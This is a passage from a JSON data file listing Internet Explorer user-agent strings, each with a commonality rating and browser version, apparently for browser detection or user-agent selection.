.NET4.0C)\"},{\"commonality\":\"Average\",\"version\":\"8\",\"ua\":\"Mozilla\\/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident\\/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; MAAR; .NET4.0C; .NET4.0E; EIE10;ENUSWOL)\"},{\"commonality\":\"Average\",\"version\":\"9\",\"ua\":\"Mozilla\\/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident\\/5.0; FunWebProducts)\"},{\"commonality\":\"Average\",\"version\":\"11\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.2; ARM; Trident\\/7.0; Touch; rv:11.0; WPDesktop; Lumia 920) like Gecko\"},{\"commonality\":\"Average\",\"version\":\"11\",\"ua\":\"Mozilla\\/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident\\/7.0; .NET4.0E; .NET4.0C)\"},{\"commonality\":\"Average\",\"version\":\"8\",\"ua\":\"Mozilla\\/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Win64; x64; Trident\\/4.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; MAEM; .NET4.0C)\"},{\"commonality\":\"Average\",\"version\":\"11\",\"ua\":\"Mozilla\\/5.0 (MSIE 8.0; Windows NT 6.0; Trident\\/7.0; rv:11.0) like Gecko\"},{\"commonality\":\"Average\",\"version\":\"8\",\"ua\":\"Mozilla\\/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident\\/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C; .NET4.0E; InfoPath.3; MS-RTC LM 8)\"},{\"commonality\":\"Average\",\"version\":\"6\",\"ua\":\"Mozilla\\/4.0 (Windows; MSIE 6.0; Windows NT 5.2)\"},{\"commonality\":\"Average\",\"version\":\"8\",\"ua\":\"Mozilla\\/4.0 (compatible; MSIE 8.0; Windows NT 5.1)\"},{\"commonality\":\"Average\",\"version\":\"8\",\"ua\":\"Mozilla\\/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident\\/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; MDDC; BRI\\/1; .NET4.0C; BRI\\/2; AskTbX-SD\\/5.14.1.20007; .NET4.0E)\"},{\"commonality\":\"Average\",\"version\":\"9\",\"ua\":\"Mozilla\\/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WOW64; Trident\\/5.0; BO2IE8_v1;ENUS)\"},{\"commonality\":\"Average\",\"version\":\"9\",\"ua\":\"Mozilla\\/5.0 (compatible; MSIE 9.0; Windows NT 6.0; Trident\\/5.0; BOIE9;ENCA)\"},{\"commonality\":\"Average\",\"version\":\"11\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.2; ARM; Trident\\/7.0; Touch; rv:11.0; WPDesktop; Lumia 1520) like Gecko\"},{\"commonality\":\"Average\",\"version\":\"8\",\"ua\":\"Mozilla\\/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident\\/4.0; FCTB100815; GTB7.5; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; BOIE8;ENUS)\"},{\"commonality\":\"Average\",\"version\":\"8\",\"ua\":\"Mozilla\\/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident\\/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; CMDTDF)\"},{\"commonality\":\"Average\",\"version\":\"11\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.2; ARM; Trident\\/7.0; Touch; rv:11.0; WPDesktop; Lumia 535 Dual SIM) like Gecko\"},{\"commonality\":\"Average\",\"version\":\"6\",\"ua\":\"Mozilla\\/4.0 (compatible; MSIE 6.0; Windows NT 5.0; CustomExchangeBrowser; .NET CLR 1.1.4322)\"},{\"commonality\":\"Average\",\"version\":\"10\",\"ua\":\"Mozilla\\/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident\\/6.0; MDDRJS)\"},{\"commonality\":\"Average\",\"version\":\"10\",\"ua\":\"Mozilla\\/5.0 (compatible; MSIE 10.0; Windows NT 6.1; WOW64; Trident\\/6.0; BOIE9;ENCA)\"},{\"commonality\":\"Average\",\"version\":\"10\",\"ua\":\"Mozilla\\/5.0 (compatible; MSIE 10.0; Windows NT 6.1; WOW64; Trident\\/6.0; MATM)\"},{\"commonality\":\"Average\",\"version\":\"8\",\"ua\":\"Mozilla\\/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident\\/4.0; GTB7.5; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; .NET4.0C)\"},{\"commonality\":\"Average\",\"version\":\"11\",\"ua\":\"Mozilla\\/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident\\/7.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C)\"},{\"commonality\":\"Average\",\"version\":\"11\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.1; WOW64; Trident\\/7.0; yie10; rv:11.0) like Gecko\"},{\"commonality\":\"Average\",\"version\":\"9\",\"ua\":\"Mozilla\\/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WOW64; Trident\\/5.0; MANM)\"},{\"commonality\":\"Average\",\"version\":\"10\",\"ua\":\"Mozilla\\/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident\\/6.0; .NET CLR 1.1.4322; .NET CLR 1.0.3705; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)\"},{\"commonality\":\"Average\",\"version\":\"11\",\"ua\":\"Mozilla\\/4.0 (compatible; MSIE 7.0; Windows NT 6.2; Win64; x64; Trident\\/7.0; .NET4.0C; .NET4.0E)\"},{\"commonality\":\"Average\",\"version\":\"9\",\"ua\":\"Mozilla\\/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident\\/5.0; MDDRJS)\"},{\"commonality\":\"Average\",\"version\":\"11\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.1; Trident\\/7.0; MALC; rv:11.0) like Gecko\"},{\"commonality\":\"Average\",\"version\":\"6\",\"ua\":\"Mozilla\\/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; InfoPath.2)\"},{\"commonality\":\"Average\",\"version\":\"11\",\"ua\":\"Mozilla\\/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident\\/7.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E; .NET CLR 1.1.4322)\"},{\"commonality\":\"Average\",\"version\":\"8\",\"ua\":\"Mozilla\\/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Trident\\/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E; InfoPath.3)\"},{\"commonality\":\"Average\",\"version\":\"6\",\"ua\":\"Mozilla\\/4.0 (compatible; MSIE 6.0; Windows NT 5.0; APC; .NET CLR 1.0.3705; .NET CLR 1.1.4322; .NET CLR 2.0.50215; InfoPath.1)\"},{\"commonality\":\"Average\",\"version\":\"11\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.1; WOW64; Trident\\/7.0; EIE10;ENUSMSN; rv:11.0) like Gecko\"},{\"commonality\":\"Average\",\"version\":\"7\",\"ua\":\"Mozilla\\/4.0 (compatible; MSIE 7.0; Windows NT 6.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 3.0.04506)\"},{\"commonality\":\"Average\",\"version\":\"8\",\"ua\":\"Mozilla\\/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident\\/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)\"},{\"commonality\":\"Average\",\"version\":\"9\",\"ua\":\"Mozilla\\/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Trident\\/5.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C)\"},{\"commonality\":\"Average\",\"version\":\"8\",\"ua\":\"Mozilla\\/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Trident\\/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; MDDS; .NET4.0C)\"},{\"commonality\":\"Average\",\"version\":\"8\",\"ua\":\"Mozilla\\/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident\\/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; BRI\\/2; OfficeLiveConnector.1.5; OfficeLivePatch.1.3; yie8)\"},{\"commonality\":\"Average\",\"version\":\"8\",\"ua\":\"Mozilla\\/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident\\/4.0; GTB7.5; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E; CMDTDFJS; F9J; InfoPath.3)\"},{\"commonality\":\"Average\",\"version\":\"11\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.2; ARM; Trident\\/7.0; Touch; rv:11.0; WPDesktop; Lumia 535) like Gecko\"},{\"commonality\":\"Average\",\"version\":\"9\",\"ua\":\"Mozilla\\/5.0 (compatible; MSIE 9.0; Windows NT 6.0; WOW64; Trident\\/5.0; BOIE9;ENUSMSCOM)\"},{\"commonality\":\"Average\",\"version\":\"11\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.2; ARM; Trident\\/7.0; Touch; rv:11.0; WPDesktop; Lumia 930) like Gecko\"},{\"commonality\":\"Average\",\"version\":\"8\",\"ua\":\"Mozilla\\/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident\\/4.0; GTB7.4; SLCC1; .NET CLR 2.0.50727; Media Center PC 5.0; .NET CLR 3.5.30729; .NET CLR 3.0.30618; .NET4.0C; HYVES)\"},{\"commonality\":\"Average\",\"version\":\"8\",\"ua\":\"Mozilla\\/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident\\/4.0; GTB7.5; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; InfoPath.2)\"},{\"commonality\":\"Average\",\"version\":\"11\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.1; WOW64; Trident\\/7.0; HO32600; HO32600R; rv:11.0) like Gecko\"},{\"commonality\":\"Average\",\"version\":\"11\",\"ua\":\"Mozilla\\/4.0 (compatible; MSIE 7.0; Windows NT 6.2; Trident\\/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; SLCC2; Media Center PC 6.0; Tablet PC 2.0; EIE10;ENUSWOL)\"},{\"commonality\":\"Average\",\"version\":\"10\",\"ua\":\"Mozilla\\/5.0 (compatible; MSIE 10.0; Windows NT 6.2; Win64; x64; Trident\\/6.0; Touch; ASU2JS)\"},{\"commonality\":\"Average\",\"version\":\"8\",\"ua\":\"Mozilla\\/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident\\/4.0; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET CLR 2.0.50727)\"},{\"commonality\":\"Average\",\"version\":\"11\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.1; WOW64; Trident\\/7.0; MASN; rv:11.0) like Gecko\"},{\"commonality\":\"Average\",\"version\":\"10\",\"ua\":\"Mozilla\\/5.0 (compatible; MSIE 10.0; Windows NT 6.2; Win64; x64; Trident\\/6.0; Touch; MALNJS)\"},{\"commonality\":\"Average\",\"version\":\"10\",\"ua\":\"Mozilla\\/5.0 (compatible; MSIE 10.0; Windows NT 6.2; Win64; x64; Trident\\/6.0; Touch; MDDCJS)\"},{\"commonality\":\"Average\",\"version\":\"11\",\"ua\":\"Mozilla\\/4.0 (compatible; MSIE 7.0; Windows NT 6.3; WOW64; Trident\\/7.0; .NET4.0E; .NET4.0C; .NET CLR 3.5.30729; .NET CLR 2.0.50727; .NET CLR 3.0.30729; InfoPath.3)\"},{\"commonality\":\"Average\",\"version\":\"9\",\"ua\":\"Mozilla\\/5.0 (compatible; MSIE 9.0; Windows NT 6.2; WOW64; Trident\\/5.0)\"},{\"commonality\":\"Average\",\"version\":\"11\",\"ua\":\"Mozilla\\/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident\\/7.0; SLCC2; .NET CLR 2.0.50727; .NET4.0C; .NET4.0E)\"},{\"commonality\":\"Average\",\"version\":\"10\",\"ua\":\"Mozilla\\/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident\\/6.0; MAAU; MAAU)\"},{\"commonality\":\"Average\",\"version\":\"9\",\"ua\":\"Mozilla\\/5.0 (Windows; U; MSIE 9.0; WIndows NT 9.0; en-US))\"},{\"commonality\":\"Average\",\"version\":\"11\",\"ua\":\"Mozilla\\/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident\\/7.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E; InfoPath.3; ms-office)\"},{\"commonality\":\"Average\",\"version\":\"11\",\"ua\":\"Mozilla\\/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident\\/7.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)\"},{\"commonality\":\"Average\",\"version\":\"11\",\"ua\":\"Mozilla\\/5.0 (Windows NT 10.0; WOW64; Trident\\/7.0; TAJB; rv:11.0) like Gecko\"},{\"commonality\":\"Average\",\"version\":\"8\",\"ua\":\"Mozilla\\/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident\\/4.0; GTB7.5; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; InfoPath.3)\"},{\"commonality\":\"Average\",\"version\":\"11\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.1; WOW64; Trident\\/7.0; LCJB; rv:11.0) like Gecko\"},{\"commonality\":\"Average\",\"version\":\"11\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.1; WOW64; Trident\\/7.0; BOIE9;ENGB; rv:11.0) like Gecko\"},{\"commonality\":\"Average\",\"version\":\"8\",\"ua\":\"Mozilla\\/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Trident\\/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; MDDC; BRI\\/1; .NET4.0C; BRI\\/2; AskTbX-SD\\/5.14.1.20007; .NET4.0E)\"},{\"commonality\":\"Average\",\"version\":\"8\",\"ua\":\"Mozilla\\/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident\\/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; MDDC; BRI\\/1; .NET4.0C; BRI\\/2; .NET4.0E; AskTbX-SD\\/5.17.7.45269)\"},{\"commonality\":\"Average\",\"version\":\"10\",\"ua\":\"Mozilla\\/5.0 (compatible; MSIE 10.0; Windows NT 6.2; Win64; x64; Trident\\/6.0; Touch; MASAJS)\"},{\"commonality\":\"Average\",\"version\":\"8\",\"ua\":\"Mozilla\\/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident\\/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; InfoPath.2)\"},{\"commonality\":\"Average\",\"version\":\"8\",\"ua\":\"Mozilla\\/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident\\/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; HPDTDF)\"},{\"commonality\":\"Average\",\"version\":\"9\",\"ua\":\"Mozilla\\/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WOW64; Trident\\/5.0; BOIE9;ENGB)\"},{\"commonality\":\"Average\",\"version\":\"11\",\"ua\":\"Mozilla\\/4.0 (compatible; MSIE 7.0; Windows NT 6.3; WOW64; Trident\\/7.0; Touch; .NET4.0E; .NET4.0C; .NET CLR 3.5.30729; .NET CLR 2.0.50727; .NET CLR 3.0.30729; Tablet PC 2.0)\"},{\"commonality\":\"Average\",\"version\":\"8\",\"ua\":\"Mozilla\\/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident\\/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; InfoPath.3; .NET4.0E)\"},{\"commonality\":\"Average\",\"version\":\"8\",\"ua\":\"Mozilla\\/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident\\/4.0; FBSMTWB; FunWebProducts; chromeframe\\/32.0.1700.107; GTB7.5; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)\"},{\"commonality\":\"Average\",\"version\":\"11\",\"ua\":\"Mozilla\\/5.0 (Windows NT 10.0; WOW64; Trident\\/7.0; ASTE; rv:11.0) like Gecko\"},{\"commonality\":\"Average\",\"version\":\"8\",\"ua\":\"Mozilla\\/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident\\/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; InfoPath.3; .NET4.0C; .NET4.0E; Tablet PC 2.0)\"},{\"commonality\":\"Average\",\"version\":\"8\",\"ua\":\"Mozilla\\/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident\\/4.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)\"},{\"commonality\":\"Average\",\"version\":\"8\",\"ua\":\"Mozilla\\/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident\\/4.0; .NET4.0C; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)\"},{\"commonality\":\"Average\",\"version\":\"11\",\"ua\":\"Mozilla\\/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident\\/7.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E; ms-office)\"},{\"commonality\":\"Average\",\"version\":\"9\",\"ua\":\"Mozilla\\/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident\\/5.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E; InfoPath.2)\"},{\"commonality\":\"Average\",\"version\":\"8\",\"ua\":\"Mozilla\\/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Trident\\/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)\"},{\"commonality\":\"Average\",\"version\":\"8\",\"ua\":\"Mozilla\\/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident\\/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; InfoPath.3)\"},{\"commonality\":\"Average\",\"version\":\"\",\"ua\":\"Mozilla\\/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident\\/8.0; .NET4.0C; .NET4.0E)\"},{\"commonality\":\"Average\",\"version\":\"11\",\"ua\":\"Mozilla\\/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident\\/7.0; .NET4.0C; .NET4.0E; Tablet PC 2.0; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)\"},{\"commonality\":\"Average\",\"version\":\"11\",\"ua\":\"Mozilla\\/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident\\/7.0; .NET4.0C; .NET4.0E; Tablet PC 2.0)\"},{\"commonality\":\"Average\",\"version\":\"8\",\"ua\":\"Mozilla\\/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident\\/4.0; GTB7.4)\"},{\"commonality\":\"Average\",\"version\":\"11\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.1; WOW64; Trident\\/7.0; NISSC; rv:11.0) like Gecko\"},{\"commonality\":\"Average\",\"version\":\"10\",\"ua\":\"Mozilla\\/5.0 (compatible; MSIE 10.0; Windows NT 6.2; Win64; x64; Trident\\/6.0; Touch; MAARJS)\"},{\"commonality\":\"Average\",\"version\":\"9\",\"ua\":\"Mozilla\\/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident\\/5.0; NP06)\"},{\"commonality\":\"Average\",\"version\":\"11\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.3; WOW64; Trident\\/7.0; Touch; MAGWJS; rv:11.0) like Gecko\"},{\"commonality\":\"Average\",\"version\":\"11\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.1; Trident\\/7.0; BOIE9;ENUS; rv:11.0) like Gecko\"},{\"commonality\":\"Average\",\"version\":\"8\",\"ua\":\"Mozilla\\/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident\\/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; HPDTDF; BRI\\/1; .NET4.0C; AskTbARS\\/5.15.4.23821; playbrytetoolbar_Playbryte)\"},{\"commonality\":\"Average\",\"version\":\"11\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.3; ARM; Trident\\/7.0; Touch; ARMBJS; rv:11.0) like Gecko\"},{\"commonality\":\"Average\",\"version\":\"8\",\"ua\":\"Mozilla\\/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident\\/4.0; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET CLR 2.0.50727; .NET4.0C; .NET4.0E)\"},{\"commonality\":\"Average\",\"version\":\"8\",\"ua\":\"Mozilla\\/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident\\/4.0; SLCC2; .NET CLR 2.0.50727; .NET4.0C; .NET4.0E; .NET CLR 3.5.30729; .NET CLR 3.0.30729)\"},{\"commonality\":\"Average\",\"version\":\"11\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.1; WOW64; Trident\\/7.0; apetito Gruppe; rv:11.0) like Gecko\"},{\"commonality\":\"Average\",\"version\":\"8\",\"ua\":\"Mozilla\\/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident\\/4.0; GTB7.5; Mozilla\\/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) ; .NET CLR 1.1.4322; SpamBlockerUtility 4.8.4; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)\"},{\"commonality\":\"Average\",\"version\":\"9\",\"ua\":\"Mozilla\\/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident\\/5.0; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; .NET4.0C; .NET4.0E)\"},{\"commonality\":\"Average\",\"version\":\"10\",\"ua\":\"Mozilla\\/5.0 (compatible; MSIE 10.0; Windows NT 6.2; WOW64; Trident\\/6.0; MAFSJS)\"},{\"commonality\":\"Average\",\"version\":\"11\",\"ua\":\"Mozilla\\/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident\\/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C; .NET4.0E)\"},{\"commonality\":\"Average\",\"version\":\"10\",\"ua\":\"Mozilla\\/5.0 (compatible; MSIE 10.0; Windows NT 6.1; WOW64; Trident\\/6.0; MANM)\"},{\"commonality\":\"Average\",\"version\":\"11\",\"ua\":\"Mozilla\\/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident\\/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E; InfoPath.3)\"},{\"commonality\":\"Average\",\"version\":\"8\",\"ua\":\"Mozilla\\/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident\\/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; .NET4.0C; .NET4.0E)\"},{\"commonality\":\"Average\",\"version\":\"8\",\"ua\":\"Mozilla\\/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident\\/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; Tablet PC 2.0; .NET4.0C; .NET4.0E)\"},{\"commonality\":\"Average\",\"version\":\"8\",\"ua\":\"Mozilla\\/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident\\/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; HPDTDF; .NET4.0C)\"},{\"commonality\":\"Average\",\"version\":\"7\",\"ua\":\"Mozilla\\/5.0 (Windows; U; MSIE 7.0; Windows NT 6.0; en-US)\"},{\"commonality\":\"Average\",\"version\":\"11\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.3; Win64; x64; Trident\\/7.0; Touch; MDDCJS; rv:11.0) like Gecko\"},{\"commonality\":\"Average\",\"version\":\"11\",\"ua\":\"Mozilla\\/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident\\/7.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E; InfoPath.3; McAfee; RaidCall)\"},{\"commonality\":\"Average\",\"version\":\"8\",\"ua\":\"Mozilla\\/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident\\/4.0; GTB7.4; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)\"},{\"commonality\":\"Average\",\"version\":\"11\",\"ua\":\"Mozilla\\/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident\\/7.0; .NET CLR 2.0.50727; SLCC2; .NET4.0C; .NET4.0E; .NET CLR 3.5.30729; .NET CLR 3.0.30729)\"},{\"commonality\":\"Average\",\"version\":\"4\",\"ua\":\"Mozilla\\/4.0 (compatible; MSIE 4.01; Windows CE; PPC; 240x320)\"},{\"commonality\":\"Average\",\"version\":\"8\",\"ua\":\"Mozilla\\/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident\\/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; .NET CLR 1.1.4322; .NET4.0C; .NET4.0E)\"},{\"commonality\":\"Average\",\"version\":\"8\",\"ua\":\"Mozilla\\/5.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident\\/4.0; Acoo Browser 1.98.744; .NET CLR 3.5.30729)\"},{\"commonality\":\"Average\",\"version\":\"8\",\"ua\":\"Mozilla\\/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident\\/4.0; GTB7.5; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; InfoPath.3)\"},{\"commonality\":\"Average\",\"version\":\"8\",\"ua\":\"Mozilla\\/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident\\/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.50727)\"},{\"commonality\":\"Average\",\"version\":\"7\",\"ua\":\"Mozilla\\/4.0 (compatible; MSIE 7.0; Windows NT 6.0; SLCC1; .NET CLR 2.0.50727; Media Center PC 5.0; .NET CLR 3.0.30618; .NET CLR 3.5.30729)\"},{\"commonality\":\"Average\",\"version\":\"11\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.1; Trident\\/7.0; MATP; rv:11.0) like Gecko\"},{\"commonality\":\"Average\",\"version\":\"11\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.2; ARM; Trident\\/7.0; Touch; rv:11.0; WPDesktop; Lumia 435) like Gecko\"},{\"commonality\":\"Average\",\"version\":\"8\",\"ua\":\"Mozilla\\/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident\\/4.0; FCTB100815; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; BOIE8;ENUS)\"},{\"commonality\":\"Average\",\"version\":\"9\",\"ua\":\"Mozilla\\/4.0 (compatible; MSIE 7.0; Windows NT 6.0; Trident\\/5.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 